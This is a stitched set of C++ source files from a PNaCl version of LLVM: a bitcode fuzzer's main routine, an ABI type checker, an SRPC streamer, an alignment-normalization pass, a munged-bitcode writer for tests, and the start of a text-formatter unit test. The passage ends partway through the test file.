std::unique_ptr<NaClBitcodeRecordList> Records
= make_unique<NaClBitcodeRecordList>();
if (std::error_code EC = readNaClTextBcRecordList(*Records,
std::move(InputBuffer))) {
errs() << "Error: " << EC.message() << "\n";
return false;
}
NaClMungedBitcode Bitcode(std::move(Records));
NaClMungedBitcode::WriteFlags WriteFlags;
return writeBitcode(Bitcode, WriteFlags, OutputPrefix);
}
int main(int argc, char **argv) {
// Print a stack trace if we signal out.
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
cl::ParseCommandLineOptions(argc, argv, "Fuzz a PNaCl bitcode file\n");
if (OutputPrefix.empty()) {
errs() << "Output prefix not specified!\n";
return 1;
}
ErrorOr<std::unique_ptr<MemoryBuffer>>
MemBuf(MemoryBuffer::getFileOrSTDIN(InputFilename));
if (!MemBuf) {
errs() << MemBuf.getError().message() << "\n";
return 1;
}
if (ConvertToTextRecords)
return !writeTextualBitcodeRecords(std::move(MemBuf.get()));
if (AcceptBitcodeRecordsAsText)
return !writeBinaryBitcodeRecords(std::move(MemBuf.get()));
if (PercentageToEdit > PercentageBase) {
errs() << "Edit percentage " << PercentageToEdit
<< " must not exceed: " << PercentageBase << "\n";
return 1;
}
raw_null_ostream NullStrm;
NaClMungedBitcode::WriteFlags WriteFlags;
WriteFlags.setTryToRecover(true);
if (!Verbose) {
WriteFlags.setErrStream(NullStrm);
}
NaClMungedBitcode Bitcode(std::move(MemBuf.get()));
writeFuzzedBitcodeFiles(Bitcode, WriteFlags);
return 0;
}
<file_sep>/lib/Analysis/NaCl/PNaClABITypeChecker.cpp
//===- PNaClABITypeChecker.cpp - Verify PNaCl ABI rules -------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Common type-checking code for module and function-level passes
//
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/NaCl/PNaClABITypeChecker.h"
#include "llvm/IR/Constant.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Metadata.h"
using namespace llvm;
bool PNaClABITypeChecker::isValidParamType(const Type *Ty) {
if (!(isValidScalarType(Ty) || isValidVectorType(Ty)))
return false;
if (const IntegerType *IntTy = dyn_cast<IntegerType>(Ty)) {
// PNaCl requires function arguments and return values to be 32
// bits or larger. This avoids exposing architecture
// ABI-dependent differences about whether arguments or return
// values are zero-extended when calling a function with the wrong
// prototype.
if (IntTy->getBitWidth() < 32)
return false;
}
return true;
}
bool PNaClABITypeChecker::isValidFunctionType(const FunctionType *FTy) {
if (FTy->isVarArg())
return false;
if (!isValidParamType(FTy->getReturnType()))
return false;
for (unsigned I = 0, E = FTy->getNumParams(); I < E; ++I) {
if (!isValidParamType(FTy->getParamType(I)))
return false;
}
return true;
}
namespace {
static inline bool NaClIsValidIntType(const Type *Ty) {
unsigned Width = cast<const IntegerType>(Ty)->getBitWidth();
return Width == 1 || Width == 8 || Width == 16 ||
Width == 32 || Width == 64;
}
}
bool PNaClABITypeChecker::isValidScalarType(const Type *Ty) {
switch (Ty->getTypeID()) {
case Type::IntegerTyID: {
return NaClIsValidIntType(Ty);
}
case Type::VoidTyID:
case Type::FloatTyID:
case Type::DoubleTyID:
return true;
default:
return false;
}
}
// TODO(jfb) Handle 64-bit int and double, and 2xi1.
bool PNaClABITypeChecker::isValidVectorType(const Type *Ty) {
if (!Ty->isVectorTy())
return false;
unsigned Elems = Ty->getVectorNumElements();
const Type *VTy = Ty->getVectorElementType();
switch (VTy->getTypeID()) {
case Type::IntegerTyID: {
unsigned Width = cast<const IntegerType>(VTy)->getBitWidth();
switch (Width) {
case 1: return Elems == 4 || Elems == 8 || Elems == 16;
case 8: return Elems == 16;
case 16: return Elems == 8;
case 32: return Elems == 4;
default: return false;
}
}
case Type::FloatTyID:
return Elems == 4;
default:
return false;
}
}
namespace {
static inline bool NaClIsValidIntArithmeticType(const Type *Ty) {
return Ty->isIntegerTy() && !Ty->isIntegerTy(1)
&& NaClIsValidIntType(Ty);
}
}
bool PNaClABITypeChecker::isValidIntArithmeticType(const Type *Ty) {
if (isValidVectorType(Ty))
return NaClIsValidIntArithmeticType(Ty->getVectorElementType());
return NaClIsValidIntArithmeticType(Ty);
}
<file_sep>/tools/pnacl-llc/SRPCStreamer.cpp
//===-- SRPCStreamer.cpp - Stream bitcode over SRPC ----------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#if defined(PNACL_BROWSER_TRANSLATOR)
#include "SRPCStreamer.h"
#include <errno.h>
llvm::DataStreamer *SRPCStreamer::init(void *(*Callback)(void *), void *arg,
std::string *ErrMsg) {
int err = pthread_create(&CompileThread, NULL, Callback, arg);
if (err) {
if (ErrMsg) *ErrMsg = std::string(strerror(errno));
return NULL;
}
return &Q;
}
size_t SRPCStreamer::gotChunk(unsigned char *bytes, size_t len) {
if (__sync_fetch_and_add(&Error, 0)) return 0; // Atomic read.
return Q.PutBytes(bytes, len);
}
int SRPCStreamer::streamEnd(std::string *ErrMsg) {
Q.SetDone();
int err = pthread_join(CompileThread, NULL);
__sync_synchronize();
if (Error) {
if (ErrMsg)
*ErrMsg = std::string("PNaCl Translator Error: " + ErrorMessage);
return 1;
} else if (err) {
if (ErrMsg) *ErrMsg = std::string(strerror(errno));
return err;
}
return 0;
}
void SRPCStreamer::setFatalError(const std::string& message) {
__sync_fetch_and_add(&Error, 1);
ErrorMessage = message;
__sync_synchronize();
pthread_exit(NULL);
}
#endif // __native_client__
<file_sep>/lib/Transforms/NaCl/NormalizeAlignment.cpp
//===- NormalizeAlignment.cpp - Normalize Alignment -----------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Normalize the alignment of loads and stores to better fit the PNaCl ABI:
//
// * On memcpy/memmove/memset intrinsic calls.
// * On regular memory accesses.
// * On atomic memory accesses.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class NormalizeAlignment : public FunctionPass {
public:
static char ID;
NormalizeAlignment() : FunctionPass(ID) {
initializeNormalizeAlignmentPass(*PassRegistry::getPassRegistry());
}
bool runOnFunction(Function &F) override;
};
}
char NormalizeAlignment::ID = 0;
INITIALIZE_PASS(NormalizeAlignment, "normalize-alignment",
"Normalize the alignment of loads and stores", false, false)
static unsigned normalizeAlignment(DataLayout *DL, unsigned Alignment, Type *Ty,
bool IsAtomic) {
unsigned MaxAllowed = 1;
if (isa<VectorType>(Ty))
// Already handled properly by FixVectorLoadStoreAlignment.
return Alignment;
if (Ty->isDoubleTy() || Ty->isFloatTy() || IsAtomic)
MaxAllowed = DL->getTypeAllocSize(Ty);
// If the alignment is set to 0, this means "use the default
// alignment for the target", which we fill in explicitly.
if (Alignment == 0 || Alignment >= MaxAllowed)
return MaxAllowed;
return 1;
}
bool NormalizeAlignment::runOnFunction(Function &F) {
DataLayout DL(F.getParent());
bool Modified = false;
for (BasicBlock &BB : F)
for (Instruction &I : BB)
if (auto *MemOp = dyn_cast<MemIntrinsic>(&I)) {
Modified = true;
Type *AlignTy = MemOp->getAlignmentCst()->getType();
MemOp->setAlignment(ConstantInt::get(AlignTy, 1));
} else if (auto *Load = dyn_cast<LoadInst>(&I)) {
Modified = true;
Load->setAlignment(normalizeAlignment(
&DL, Load->getAlignment(), Load->getType(), Load->isAtomic()));
} else if (auto *Store = dyn_cast<StoreInst>(&I)) {
Modified = true;
Store->setAlignment(normalizeAlignment(
&DL, Store->getAlignment(), Store->getValueOperand()->getType(),
Store->isAtomic()));
}
return Modified;
}
FunctionPass *llvm::createNormalizeAlignmentPass() {
return new NormalizeAlignment();
}
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClBitcodeMungeWriter.cpp
//===- NaClBitcodeMungeWriter.cpp - Write munged bitcode --------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Implements method NaClMungedBitcode.write(), which writes out a munged
// list of bitcode records using a bitstream writer.
#include "llvm/Bitcode/NaCl/NaClBitcodeMungeUtils.h"
#include "llvm/Bitcode/NaCl/NaClBitstreamWriter.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/Support/raw_ostream.h"
#include <set>
using namespace llvm;
namespace {
// For debugging. When true, shows trace information of emitting
// bitcode.
const bool DebugEmit = false;
// Description of current block scope
struct BlockScope {
BlockScope(unsigned CurBlockID, size_t AbbrevIndexLimit)
: CurBlockID(CurBlockID), AbbrevIndexLimit(AbbrevIndexLimit),
OmittedAbbreviations(false) {}
unsigned CurBlockID;
// Defines the maximum value for abbreviation indices in block.
size_t AbbrevIndexLimit;
// Defines if an abbreviation definition was omitted (i.e. not
// written) from this block. Used to turn off writing further
// abbreviation definitions for this block.
bool OmittedAbbreviations;
void print(raw_ostream &Out) const {
Out << "BlockScope(ID=" << CurBlockID << ", AbbrevIndexLimit="
<< AbbrevIndexLimit << "OmittedAbbreviations="
<< OmittedAbbreviations << ")";
}
};
inline raw_ostream &operator<<(raw_ostream &Out, const BlockScope &Scope) {
Scope.print(Out);
return Out;
}
// State of bitcode writing.
struct WriteState {
// The block ID associated with records not in any block.
static const unsigned UnknownWriteBlockID = UINT_MAX;
// The SetBID for the blockinfo block.
unsigned SetBID = UnknownWriteBlockID;
// The stack of scopes the writer is in.
SmallVector<BlockScope, 4> ScopeStack;
// The set of write flags to use.
const NaClMungedBitcode::WriteFlags &Flags;
// The results of the attempted write.
NaClMungedBitcode::WriteResults Results;
// The minimum number of bits allowed to be specified in a block.
const unsigned BlockMinBits;
// The set of block IDs for which abbreviation definitions have been
// omitted in the blockinfo block.
std::set<unsigned> BlocksWithOmittedAbbrevs;
WriteState(const NaClMungedBitcode::WriteFlags &Flags)
: Flags(Flags),
BlockMinBits(NaClBitsNeededForValue(naclbitc::DEFAULT_MAX_ABBREV)) {
BlockScope Scope(UnknownWriteBlockID, naclbitc::DEFAULT_MAX_ABBREV);
ScopeStack.push_back(Scope);
}
// Returns stream to print error message to.
raw_ostream &Error();
// Returns stream to print error message to, assuming that
// the error message can be repaired if Flags.TryToRecover is true.
raw_ostream &RecoverableError() {
if (Flags.getTryToRecover())
++Results.NumRepairs;
return Error();
}
bool atOutermostScope() {
assert(!ScopeStack.empty());
return ScopeStack.size() == 1;
}
unsigned getCurWriteBlockID() const {
assert(!ScopeStack.empty());
return ScopeStack.back().CurBlockID;
}
unsigned getCurAbbrevIndexLimit() const {
assert(!ScopeStack.empty());
return ScopeStack.back().AbbrevIndexLimit;
}
// Returns whether any abbreviation definitions were not written to
// the bitcode buffer.
bool curBlockHasOmittedAbbreviations() const {
assert(!ScopeStack.empty());
return ScopeStack.back().OmittedAbbreviations
|| BlocksWithOmittedAbbrevs.count(getCurWriteBlockID());
}
// Marks that an abbreviation definition is being omitted (i.e. not
// written) for the current block.
void markCurrentBlockWithOmittedAbbreviations() {
assert(!ScopeStack.empty());
ScopeStack.back().OmittedAbbreviations = true;
if (getCurWriteBlockID() == naclbitc::BLOCKINFO_BLOCK_ID)
BlocksWithOmittedAbbrevs.insert(SetBID);
}
// Returns true if abbreviation operand is legal. If not, logs
// a recoverable error message and returns false. Assumes that
// the caller does the actual error recovery if applicable.
bool verifyAbbrevOp(NaClBitCodeAbbrevOp::Encoding Encoding, uint64_t Value,
const NaClBitcodeAbbrevRecord &Record);
// Converts the abbreviation record to the corresponding abbreviation.
// Returns nullptr if unable to build abbreviation.
NaClBitCodeAbbrev *buildAbbrev(const NaClBitcodeAbbrevRecord &Record);
// Gets the next value (based on Index) from the record values,
// assigns it to ExtractedValue, and returns true. Otherwise, logs a
// recoverable error message and returns false. Assumes that the
// caller does the actual error recovery if applicable.
bool LLVM_ATTRIBUTE_UNUSED_RESULT
nextAbbrevValue(uint64_t &ExtractedValue,
const NaClBitcodeAbbrevRecord &Record, size_t &Index) {
if (Index >= Record.Values.size()) {
RecoverableError()
<< "Malformed abbreviation found: " << Record << "\n";
return false;
}
ExtractedValue = Record.Values[Index++];
return true;
}
// Emits the given record to the bitcode file. Returns true if
// successful.
bool LLVM_ATTRIBUTE_UNUSED_RESULT
emitRecord(NaClBitstreamWriter &Writer,
const NaClBitcodeAbbrevRecord &Record);
// Enter the given block
bool LLVM_ATTRIBUTE_UNUSED_RESULT
enterBlock(NaClBitstreamWriter &Writer, uint64_t WriteBlockID,
uint64_t NumBits, const NaClBitcodeAbbrevRecord &Record);
// Exit current block and return to previous block. Silently recovers
// if at outermost scope.
bool LLVM_ATTRIBUTE_UNUSED_RESULT
exitBlock(NaClBitstreamWriter &Writer,
const NaClBitcodeAbbrevRecord *Record = nullptr) {
if (atOutermostScope())
return false;
Writer.ExitBlock();
ScopeStack.pop_back();
if (DebugEmit)
printScopeStack(errs());
return true;
}
void WriteRecord(NaClBitstreamWriter &Writer,
const NaClBitcodeAbbrevRecord &Record,
bool UsesDefaultAbbrev) {
if (UsesDefaultAbbrev)
Writer.EmitRecord(Record.Code, Record.Values);
else
Writer.EmitRecord(Record.Code, Record.Values, Record.Abbrev);
}
// Returns true if the abbreviation index defines an abbreviation
// that can be applied to the record.
bool LLVM_ATTRIBUTE_UNUSED_RESULT
canApplyAbbreviation(NaClBitstreamWriter &Writer,
const NaClBitcodeAbbrevRecord &Record);
// Completes the write.
NaClMungedBitcode::WriteResults &finish(NaClBitstreamWriter &Writer,
bool RecoverSilently);
void printScopeStack(raw_ostream &Out) {
Out << "Scope Stack:\n";
for (auto &Scope : ScopeStack)
Out << " " << Scope << "\n";
}
};
raw_ostream &WriteState::Error() {
++Results.NumErrors;
raw_ostream &ErrStrm = Flags.getErrStream();
unsigned WriteBlockID = getCurWriteBlockID();
ErrStrm << "Error (Block ";
if (WriteBlockID == UnknownWriteBlockID)
ErrStrm << "unknown";
else
ErrStrm << WriteBlockID;
return ErrStrm << "): ";
}
bool WriteState::enterBlock(NaClBitstreamWriter &Writer, uint64_t WriteBlockID,
uint64_t NumBits,
const NaClBitcodeAbbrevRecord &Record) {
if (NumBits < BlockMinBits || NumBits > naclbitc::MaxAbbrevWidth) {
RecoverableError()
<< "Block index bit limit " << NumBits << " invalid. Must be in ["
<< BlockMinBits << ".." << naclbitc::MaxAbbrevWidth << "]: "
<< Record << "\n";
if (!Flags.getTryToRecover())
return false;
NumBits = naclbitc::MaxAbbrevWidth;
}
if (WriteBlockID > UINT_MAX) {
RecoverableError() << "Block id must be <= " << UINT_MAX
<< ": " << Record << "\n";
if (!Flags.getTryToRecover())
return false;
WriteBlockID = UnknownWriteBlockID;
}
uint64_t MaxAbbrev = (static_cast<uint64_t>(1) << NumBits) - 1;
BlockScope Scope(WriteBlockID, MaxAbbrev);
ScopeStack.push_back(Scope);
if (DebugEmit)
printScopeStack(errs());
if (WriteBlockID == naclbitc::BLOCKINFO_BLOCK_ID) {
unsigned DefaultMaxBits =
NaClBitsNeededForValue(naclbitc::DEFAULT_MAX_ABBREV);
if (NumBits != DefaultMaxBits) {
RecoverableError()
<< "Numbits entry for abbreviations in blockinfo block not "
<< DefaultMaxBits << ". found " << NumBits <<
": " << Record << "\n";
if (!Flags.getTryToRecover()) {
ScopeStack.pop_back();
if (DebugEmit)
printScopeStack(errs());
return false;
}
}
Writer.EnterBlockInfoBlock();
} else {
NaClBitcodeSelectorAbbrev CurCodeLen(MaxAbbrev);
Writer.EnterSubblock(WriteBlockID, CurCodeLen);
}
return true;
}
bool WriteState::canApplyAbbreviation(
NaClBitstreamWriter &Writer, const NaClBitcodeAbbrevRecord &Record) {
const NaClBitCodeAbbrev *Abbrev = Writer.getAbbreviation(Record.Abbrev);
if (Abbrev == nullptr)
return false;
// Merge record code into values and then match abbreviation.
NaClBitcodeValues Values(Record);
size_t ValueIndex = 0;
size_t ValuesSize = Values.size();
size_t AbbrevIndex = 0;
size_t AbbrevSize = Abbrev->getNumOperandInfos();
bool FoundArray = false;
while (ValueIndex < ValuesSize && AbbrevIndex < AbbrevSize) {
const NaClBitCodeAbbrevOp *Op = &Abbrev->getOperandInfo(AbbrevIndex++);
uint64_t Value = Values[ValueIndex++];
if (Op->getEncoding() == NaClBitCodeAbbrevOp::Array) {
if (AbbrevIndex + 1 != AbbrevSize)
return false;
Op = &Abbrev->getOperandInfo(AbbrevIndex);
--AbbrevIndex; // i.e. don't advance to next abbreviation op.
FoundArray = true;
}
switch (Op->getEncoding()) {
case NaClBitCodeAbbrevOp::Literal:
if (Value != Op->getValue())
return false;
continue;
case NaClBitCodeAbbrevOp::Fixed:
if (Value >= (static_cast<uint64_t>(1)
<< NaClBitstreamWriter::MaxEmitNumBits)
|| NaClBitsNeededForValue(Value) > Op->getValue())
return false;
continue;
case NaClBitCodeAbbrevOp::VBR:
if (Op->getValue() < 2)
return false;
continue;
case NaClBitCodeAbbrevOp::Array:
llvm_unreachable("Array(Array) abbreviation is not legal!");
case NaClBitCodeAbbrevOp::Char6:
if (!Op->isChar6(Value))
return false;
continue;
}
}
return ValueIndex == ValuesSize && (FoundArray || AbbrevIndex == AbbrevSize);
}
NaClMungedBitcode::WriteResults &WriteState::finish(
NaClBitstreamWriter &Writer, bool RecoverSilently) {
// Be sure blocks are balanced.
while (!atOutermostScope()) {
if (!RecoverSilently)
RecoverableError() << "Missing close block.\n";
if (!exitBlock(Writer)) {
Error() << "Failed to add missing close block at end of file.\n";
break;
}
}
// Be sure that generated bitcode buffer is word aligned.
if (Writer.GetCurrentBitNo() % 4 * CHAR_BIT) {
if (!RecoverSilently)
RecoverableError() << "Written bitstream not word aligned\n";
// Force a repair so that the bitstream writer doesn't crash.
Writer.FlushToWord();
}
return Results;
}
bool WriteState::emitRecord(NaClBitstreamWriter &Writer,
const NaClBitcodeAbbrevRecord &Record) {
size_t NumValues = Record.Values.size();
if (DebugEmit) {
errs() << "Emit " << Record.Abbrev << ": <" << Record.Code;
for (size_t i = 0; i < NumValues; ++i) {
errs() << ", " << Record.Values[i];
}
errs() << ">\n";
}
switch (Record.Code) {
case naclbitc::BLK_CODE_ENTER: {
if (getCurWriteBlockID() == naclbitc::BLOCKINFO_BLOCK_ID) {
RecoverableError() << "Can't nest blocks inside blockinfo block: "
<< Record << "\n";
return Flags.getTryToRecover();
}
uint64_t WriteBlockID = UnknownWriteBlockID;
uint64_t NumBits = naclbitc::MaxAbbrevWidth; // Default to safest value.
if (Record.Abbrev != naclbitc::ENTER_SUBBLOCK) {
RecoverableError()
<< "Uses illegal abbreviation index in enter block record: "
<< Record << "\n";
if (!Flags.getTryToRecover())
return false;
}
if (NumValues != 2) {
RecoverableError()
<< "Values for enter record should be of size 2, but found "
<< NumValues << ": " << Record << "\n";
if (!Flags.getTryToRecover())
return false;
}
if (NumValues > 0)
WriteBlockID = Record.Values[0];
if (NumValues > 1)
NumBits = Record.Values[1];
return enterBlock(Writer, WriteBlockID, NumBits, Record);
}
case naclbitc::BLK_CODE_EXIT: {
if (atOutermostScope()) {
RecoverableError()
<< "Extraneous exit block: " << Record << "\n";
if (!Flags.getTryToRecover())
return false;
break;
}
if (Record.Abbrev != naclbitc::END_BLOCK) {
RecoverableError()
<< "Uses illegal abbreviation index in exit block record: "
<< Record << "\n";
if (!Flags.getTryToRecover())
return false;
}
if (NumValues != 0) {
RecoverableError() << "Exit block should not have values: "
<< Record << "\n";
if (!Flags.getTryToRecover())
return false;
}
if (!exitBlock(Writer)) {
Error() << "Failed to write exit block, can't continue: "
<< Record << "\n";
return false;
}
break;
}
case naclbitc::BLK_CODE_DEFINE_ABBREV: {
if (curBlockHasOmittedAbbreviations()) {
// If reached, a previous abbreviation for the block was omitted. Can't
// generate more abbreviations without having to fix abbreviation indices.
RecoverableError() << "Ignoring abbreviation: " << Record << "\n";
return Flags.getTryToRecover();
}
if (Record.Abbrev != naclbitc::DEFINE_ABBREV) {
RecoverableError()
<< "Uses illegal abbreviation index in define abbreviation record: "
<< Record << "\n";
if (!Flags.getTryToRecover())
return false;
}
NaClBitCodeAbbrev *Abbrev = buildAbbrev(Record);
if (Abbrev == nullptr) {
markCurrentBlockWithOmittedAbbreviations();
return Flags.getTryToRecover();
}
if (atOutermostScope()) {
RecoverableError() << "Abbreviation definition not in block: "
<< Record << "\n";
return Flags.getTryToRecover();
}
if (getCurWriteBlockID() == naclbitc::BLOCKINFO_BLOCK_ID) {
Writer.EmitBlockInfoAbbrev(SetBID, Abbrev);
} else {
Writer.EmitAbbrev(Abbrev);
}
break;
}
case naclbitc::BLK_CODE_HEADER:
// Note: There is no abbreviation index here. Ignore.
for (uint64_t Value : Record.Values)
Writer.Emit(Value, 8);
break;
default:
bool UsesDefaultAbbrev = Record.Abbrev == naclbitc::UNABBREV_RECORD;
if (atOutermostScope()) {
RecoverableError() << "Record outside block: " << Record << "\n";
if (!Flags.getTryToRecover())
return false;
// Create a dummy block to hold record.
if (!enterBlock(Writer, UnknownWriteBlockID,
naclbitc::DEFAULT_MAX_ABBREV, Record)) {
Error() << "Failed to recover from record outside block\n";
return false;
}
UsesDefaultAbbrev = true;
}
if (getCurWriteBlockID() == naclbitc::BLOCKINFO_BLOCK_ID) {
// Note: only abbreviations and setBID records can appear in
// blockinfo blocks.
if (Record.Code != naclbitc::BLOCKINFO_CODE_SETBID) {
RecoverableError() << "Record not allowed in blockinfo block: "
<< Record << "\n";
return Flags.getTryToRecover();
}
// Note: SetBID records are handled by Writer->EmitBlockInfoAbbrev,
// based on the SetBID value. Don't bother to generate SetBID record here.
// Rather just set SetBID and let call to Writer->EmitBlockInfoAbbrev
// generate the SetBID record.
if (NumValues != 1) {
RecoverableError() << "SetBID record expects 1 value but found "
<< NumValues << ": " << Record << "\n";
if (!Flags.getTryToRecover())
return false;
SetBID = NumValues > 0 ? Record.Values[0] : UnknownWriteBlockID;
return true;
}
SetBID = Record.Values[0];
return true;
}
if (!UsesDefaultAbbrev && !canApplyAbbreviation(Writer, Record)) {
if (Writer.getAbbreviation(Record.Abbrev) != nullptr) {
RecoverableError() << "Abbreviation doesn't apply to record: "
<< Record << "\n";
UsesDefaultAbbrev = true;
if (!Flags.getTryToRecover())
return false;
WriteRecord(Writer, Record, UsesDefaultAbbrev);
return true;
}
if (Flags.getWriteBadAbbrevIndex()) {
// The abbreviation is not understood by the bitcode writer,
// and the flag value implies that we should still write it
// out so that unit tests for this error condition can be
// applied.
Error() << "Uses illegal abbreviation index: " << Record << "\n";
// Generate bad abbreviation index so that the bitcode reader
// can be tested, and then quit.
Results.WroteBadAbbrevIndex = true;
Writer.EmitCode(Record.Abbrev);
bool RecoverSilently = true;
finish(Writer, RecoverSilently);
return false;
}
RecoverableError() << "Uses illegal abbreviation index: "
<< Record << "\n";
UsesDefaultAbbrev = true;
if (!Flags.getTryToRecover())
return false;
WriteRecord(Writer, Record, UsesDefaultAbbrev);
return true;
}
WriteRecord(Writer, Record, UsesDefaultAbbrev);
break;
}
return true;
}
static NaClBitCodeAbbrev *deleteAbbrev(NaClBitCodeAbbrev *Abbrev) {
Abbrev->dropRef();
return nullptr;
}
bool WriteState::verifyAbbrevOp(NaClBitCodeAbbrevOp::Encoding Encoding,
uint64_t Value,
const NaClBitcodeAbbrevRecord &Record) {
if (NaClBitCodeAbbrevOp::isValid(Encoding, Value))
return true;
RecoverableError() << "Invalid abbreviation "
<< NaClBitCodeAbbrevOp::getEncodingName(Encoding)
<< "(" << static_cast<int64_t>(Value)
<< ") in: " << Record << "\n";
return false;
}
NaClBitCodeAbbrev *WriteState::buildAbbrev(
const NaClBitcodeAbbrevRecord &Record) {
// Note: Recover by removing abbreviation.
NaClBitCodeAbbrev *Abbrev = new NaClBitCodeAbbrev();
size_t Index = 0;
uint64_t NumAbbrevOps;
if (!nextAbbrevValue(NumAbbrevOps, Record, Index))
return deleteAbbrev(Abbrev);
if (NumAbbrevOps == 0) {
RecoverableError() << "Abbreviation must contain at least one operator: "
<< Record << "\n";
return deleteAbbrev(Abbrev);
}
for (uint64_t Count = 0; Count < NumAbbrevOps; ++Count) {
uint64_t IsLiteral;
if (!nextAbbrevValue(IsLiteral, Record, Index))
return deleteAbbrev(Abbrev);
switch (IsLiteral) {
case 1: {
uint64_t Value;
if (!nextAbbrevValue(Value, Record, Index))
return deleteAbbrev(Abbrev);
if (!verifyAbbrevOp(NaClBitCodeAbbrevOp::Literal, Value, Record))
return deleteAbbrev(Abbrev);
Abbrev->Add(NaClBitCodeAbbrevOp(Value));
break;
}
case 0: {
uint64_t Kind;
if (!nextAbbrevValue(Kind, Record, Index))
return deleteAbbrev(Abbrev);
switch (Kind) {
case NaClBitCodeAbbrevOp::Fixed: {
uint64_t Value;
if (!nextAbbrevValue(Value, Record, Index))
return deleteAbbrev(Abbrev);
if (!verifyAbbrevOp(NaClBitCodeAbbrevOp::Fixed, Value, Record))
return deleteAbbrev(Abbrev);
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, Value));
break;
}
case NaClBitCodeAbbrevOp::VBR: {
uint64_t Value;
if (!nextAbbrevValue(Value, Record, Index))
return deleteAbbrev(Abbrev);
if (!verifyAbbrevOp(NaClBitCodeAbbrevOp::VBR, Value, Record))
return deleteAbbrev(Abbrev);
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, Value));
break;
}
case NaClBitCodeAbbrevOp::Array:
if (Count + 2 != NumAbbrevOps) {
RecoverableError() << "Array abbreviation must be second to last: "
<< Record << "\n";
return deleteAbbrev(Abbrev);
}
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
break;
case NaClBitCodeAbbrevOp::Char6:
Abbrev->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Char6));
break;
default:
RecoverableError() << "Unknown abbreviation kind " << Kind
<< ": " << Record << "\n";
return deleteAbbrev(Abbrev);
}
break;
}
default:
RecoverableError() << "Bad abbreviation operand encoding "
<< Record.Values[Index-1] << ": " << Record << "\n";
return deleteAbbrev(Abbrev);
}
}
if (Index != Record.Values.size()) {
RecoverableError() << "Error: Too many values for number of operands ("
<< NumAbbrevOps << "): "
<< Record << "\n";
return deleteAbbrev(Abbrev);
}
if (!Abbrev->isValid()) {
raw_ostream &Out = RecoverableError();
Abbrev->Print(Out << "Abbreviation ");
Out << " not valid: " << Record << "\n";
return deleteAbbrev(Abbrev);
}
return Abbrev;
}
} // end of anonymous namespace.
NaClMungedBitcode::WriteResults NaClMungedBitcode::writeMaybeRepair(
SmallVectorImpl<char> &Buffer, bool AddHeader,
const WriteFlags &Flags) const {
NaClBitstreamWriter Writer(Buffer);
WriteState State(Flags);
if (AddHeader) {
NaClWriteHeader(Writer, true);
}
for (const NaClBitcodeAbbrevRecord &Record : *this) {
if (!State.emitRecord(Writer, Record))
break;
}
bool RecoverSilently =
State.Results.NumErrors > 0 && !Flags.getTryToRecover();
return State.finish(Writer, RecoverSilently);
}
<file_sep>/unittests/Bitcode/NaClTextFormatterTest.cpp
//===- llvm/unittest/Bitcode/NaClTextFormatterTest.cpp --------------------===//
// Tests the text formatter for PNaCl bitcode.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests if the text formatter for PNaCl bitcode works as expected.
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClObjDumpStream.h"
#include "gtest/gtest.h"
#include <iostream>
using namespace llvm;
using namespace llvm::naclbitc;
namespace {
/// Simple test harness for testing a text formatter. This class takes
/// an array of tokens, parses it, and then uses the text formatter to
/// format it. To test the features of the text formatter, the parser
/// detects function calls, and inserts appropriate open/close
/// parenthesis directives, as well as clustering directives.
///
/// For clustering, we consider each argument, as well as the entire
/// function. In case the entire function can't be printed, we add two
/// additional clusters as backup strategies:
///
/// 1) Cluster the called function with it's first argument.
/// 2) Cluster the called function with the open parenthesis.
///
/// These rules can be formalized as the following cases, where:
/// '<' denotes a StartCluster.
/// '>' denotes a FinishCluster.
/// '[' represents a regular expression open parenthesis.
/// ']' represents a regular expression close parenthesis.
/// '*' denotes regular expression repeat operation.
///
/// The cases to consider are:
///
/// case 1: <<<f(>)>>
/// case 2: <<<f(><x>)>>
/// case 3: <<<f(><x,>>[<y,>]*<z>)>
///
/// Note: In cases 1 and 2, there is an unnecessary pair of clustering
/// directives. This is intentional. It has been added so that the
/// parser need not build an AST before formatting. Also note that
/// case 3 covers all function calls with 2 or more arguments.
class FormatterTester {
private:
// Defines states of the token parser, as it looks for function calls.
// These states are used to determine where (and when) clustering
// directives should be added to the Tokens() stream. If no
// transition applies for a state, the default transition is applied,
// which is to add the next token to the Tokens() stream.
//
// Note: We use '|' to denote the current position of the token parser.
//
// In all states, the following transition is possible (pushing the
// current state onto the parse stack), and is applied after state
// specific transitions (below):
//
// |<<<f(>)>> => StartingFcn: <<<|f(>)>>
// |<<<f(><x>)>> => StartingFcn: <<<|f(><x>)>>
// |<<<f(><x,>>[<y,>]*<z>)> => StartingFcn: <<<|f(><x,>>[<y,>]*<z>)>
//
// Note: We use the notation == to state that two expressions are equivalent.
// In particular,
//
// [x|]* == [|x]*
//
// since being at the end of a repeated instruction also means that
// you are at the beginning of the next (unrolled) repetition.
enum FormatterState {
